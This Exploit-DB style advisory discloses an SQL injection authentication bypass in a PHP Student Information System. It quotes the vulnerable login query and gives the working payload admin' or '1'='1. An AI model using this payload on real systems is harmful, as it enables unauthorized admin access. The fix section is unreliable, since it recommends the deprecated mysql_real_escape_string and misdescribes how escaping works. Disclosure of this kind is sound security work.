Student Information System (SIS) Auth Bypass

vendor:

Student Information System (SIS)

by:

lahilote

7,5

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: Student Information System (SIS)

Affected Version From: 0.1

Affected Version To: 0.1

Patch Exists: YES

Related CWE: N/A

CPE: a:sourcecodester:student_information_system_(sis)

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: xampp

2016

Student Information System (SIS) Auth Bypass

The audit_list in ucc/admin_login.php of the Student Information System (SIS) application is vulnerable to an authentication bypass vulnerability. An attacker can exploit this vulnerability by providing a username and password of 'admin' or '1'='1' to bypass authentication.

Mitigation:

One of the method's to fix and secure such Auth Bypass flaw's, is to use the php function mysql_real_escape_string.

Source

Exploit-DB raw data:

# Exploit Title............... Student Information System (SIS) Auth Bypass
# Google Dork................. N/A
# Date........................ 14/10/2016
# Exploit Author.............. lahilote
# Vendor Homepage............. http://www.sourcecodester.com/php/10902/student-information-system-sis.html
# Software Link............... http://www.sourcecodester.com/sites/default/files/download/Bwire%20Charles/ucc.zip
# Version..................... 0.1
# Tested on................... xampp
# CVE......................... N/A


The audit_list in ucc/admin_login.php
-------------------------------------

----snip----

error_reporting(E_ALL ^ E_DEPRECATED);
if(isset($_POST['submit'])) {

include 'database_config2.php';
$myusername = $_POST['username'];
$mypassword = $_POST['password'];



	
$query = "SELECT * FROM adminstrator WHERE USERNAME='$myusername' and PASSWORD='$mypassword'";
$result = mysql_query($query);
$count = mysql_num_rows($result);
mysql_close();

----snip----

You can login with username and password: admin' or '1'='1


How to fix
----------
One of the method's to fix and secure such Auth Bypass flaw's, is to use the php function mysql_real_escape_string.
It causes that every of this characters \x00, \n, \r, \, '
get's replaced with a simple Backslash „/“, so the attackers commands become useless.

   Example:

error_reporting(E_ALL ^ E_DEPRECATED);
if(isset($_POST['submit'])) {

include 'database_config2.php';
$myusername = mysql_real_escape_string($_POST['username']);
$mypassword = mysql_real_escape_string($_POST['password']);



	
$query = "SELECT * FROM adminstrator WHERE USERNAME='$myusername' and PASSWORD='$mypassword'";
$result = mysql_query($query);
$count = mysql_num_rows($result);
mysql_close();


Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/php/10902/student-information-system-sis.html
http://php.net/manual/en/function.mysql-real-escape-string.php